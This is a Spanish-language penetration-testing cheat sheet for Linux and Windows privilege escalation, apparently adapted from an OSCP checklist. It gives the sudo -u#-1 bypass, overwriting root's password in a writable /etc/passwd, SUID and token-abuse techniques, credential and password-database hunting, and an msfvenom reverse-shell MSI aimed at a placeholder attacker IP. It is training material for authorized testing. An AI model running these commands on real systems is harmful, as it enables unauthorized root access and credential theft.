Escalada de privilegios
Linux
Recursos
Vectores de escalada sencillos
Usuario con credenciales válidas (sudo -l):
Ejecutar
sudo -lpara ver qué binarios se pueden ejecutar consudo, consultar GTFOBinsEjecutar
sudo -Vpara obtener la versión, si es inferior a 1.28, se puede usarsudo -u#-1 /bin/bash
Binarios SUID:
Ejecutar
find / -perm -u=s -type f 2>/dev/nullEjecutar
find / -perm -4000 2>/dev/nullConsultar GTFOBins
Exploits de Kernel:
Ejecutar
uname -a&&searchsploit
/etc/passwd con permisos de escritura:
Ejecutar
ls -la /etc/passwdpara ver si se tienen permisos de escrituraEjecutar
openssl passwd -1 -salt hacker hackery reemplazar la entrada de contraseña deroot(o eliminarx)Ejecutar
su roothacker
Checklist
Tratamiento de la TTY si la shell ****si no es interactiva:
Ejecutar
python -c 'import pty;pty.spawn("/bin/bash")'Ejecutar
python -c 'import pty;pty.spawn("/bin/sh")'Ejecutar
python3 -c 'import pty;pty.spawn("/bin/bash")'Ejecutar
python3 -c 'import pty;pty.spawn("/bin/sh")'Alternativa más completa y estable:
Obtener contexto del sistema usuario actual, nombre de host, grupos
Ejecutar
whoamiidhostname
Obtener versión del kernel y buscar vulnerabilidades
Ejecutar
uname -a&&searchsploit
Verificar sudo (contraseña válida)
Ejecutar
sudo -lsudo -V(por debajo de 1.28sudo -u#-1 /bin/bash)
Verificar binarios SUID
Ejecutar
find / -perm -u=s -type f 2>/dev/nullEjecutar
find / -perm -4000 2>/dev/null
Verificar usuarios y /etc/passwd con permisos de escritura
Ejecutar
ls -la /etc/passwd/cat /etc/passwd
Verificar entorno
Ejecutar
echo $PATH/(env || set) 2>/dev/null/history/cat ~/.bashrc
Verificar procesos
Ejecutar
ps aux/ps -ef/watch -n 1 "ps -aux | grep pass"
Verificar cronjobs
Ejecutar
ls -lah /etc/cron*/cat /var/log/syslog | grep cron/cat /var/log/cron.logEjecutar
grep "CRON" /var/log/syslog/ls -la /etc/cron.d/ls -la /etc/cron.hourly
Verificar archivos escribibles/utilizables y permisos de archivos
Ejecutar
find / -writable -type d 2>/dev/nullEjecutar
find / -perm -u=s -type f 2>/dev/nullEjecutar
ls -la
Verificar redes y servicios en ejecución en localhost
Ejecutar
ip a/netstat/ss -natup
Herramientas automatizadas
Windows
Recursos
https://github.com/expl0itabl3/Toolies ← Más binarios compilados
Vectores de escalada sencillos
Abuso de Tokens
Ejecutar
whoami /priv>>SeImpersonatePrivilegeUsar
PrintSpooferoGodPotato
Verificar Registro AlwaysInstallElevated
Ejecutar
reg query HKCU\\\\\\\\SOFTWARE\\\\\\\\Policies\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Installer /v AlwaysInstallElevatedsi devuelve0x1, crear un MSI que se ejecutará como SYSTEMEjecutar
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP_ATACANTE LPORT=PUERTO_LOCAL -f msi -o evil.msiEjecutar
msiexec /quiet /qn /i C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious.msi
Credenciales en caché
Ejecutar
cmdkey /list
Historial de PowerShell
Ejecutar
Get-HistoryEjecutar
(Get-PSReadlineOption).HistorySavePathEjecutar
type %userprofile%\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\PowerShell\\\\\\\\PSReadline\\\\\\\\ConsoleHost_history.txt
Cheat Sheet
Obtener contexto, usuarios y grupos
Ejecutar
whoaminet usernet groupwhoami /groups
Verificar tokens/privilegios
Ejecutar
whoami /priv>>SeImpersonatePrivilege
Verificar claves de registro
Ejecutar
reg query HKCU\\\\\\\\SOFTWARE\\\\\\\\Policies\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Installer /v AlwaysInstallElevated>>0x1
Verificar credenciales en caché
Ejecutar
cmdkey /list
Verificar historial de PowerShell
Ejecutar
(Get-PSReadlineOption).HistorySavePath
Verificar servicios en ejecución en busca de ubicaciones sin comillas o no predeterminadas
Ejecutar
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
Verificar archivos binarios no predeterminados buscando archivos .dll (como archivos de registro también)
Ejecutar
C:\\\\\\\\TEMP\\\\\\\\???C:\\\\\\\\Users\\\\\\\\user\\\\\\\\???C:\\\\\\\\backup\\\\\\\\???etc
Verificar archivos útiles en el directorio del usuario
Ejecutar
Get-ChildItem -Path C:\\\\\\\\Users\\\\\\\\ -Include *.txt -File -Recurse -ErrorAction SilentlyContinue.log.kdbx.xmlcualquier archivo extraño en el directorio del usuario
Verificar tareas programadas ejecutadas por niveles superiores
Ejecutar
Get-ScheduledTaskschtasks /queryschtasks /query /fo LIST /v
Verificar archivos de base de datos de contraseñas
Ejecutar
Get-ChildItem -Path C:\\\\\\\\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Verificar archivos de configuración
Ejecutar
Get-ChildItem -Path C:\\\\\\\\ -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Verificar paquetes instalados
Ejecutar
Get-ItemProperty "HKLM:\\\\\\\\SOFTWARE\\\\\\\\Wow6432Node\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Uninstall\\\\\\\\*" | select displaynameEjecutar
Get-ItemProperty "HKLM:\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Uninstall\\\\\\\\*" | select displayname
Herramientas automatizadas
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯
Fuente original: https://github.com/intotheewild/OSCP-Checklist
📝 LinkedIn ⮞ https://www.linkedin.com/in/david-rodriguez-ramos/ ▶️ YouTube ⮞ https://www.youtube.com/c/xerosec 🐦 Twitter ⮞ https://twitter.com/xerosec 🔴 Twitch ⮞ https://www.twitch.tv/xerosec 💬 Discord ⮞ https://discord.gg/E4AjK2XsFm
Última actualización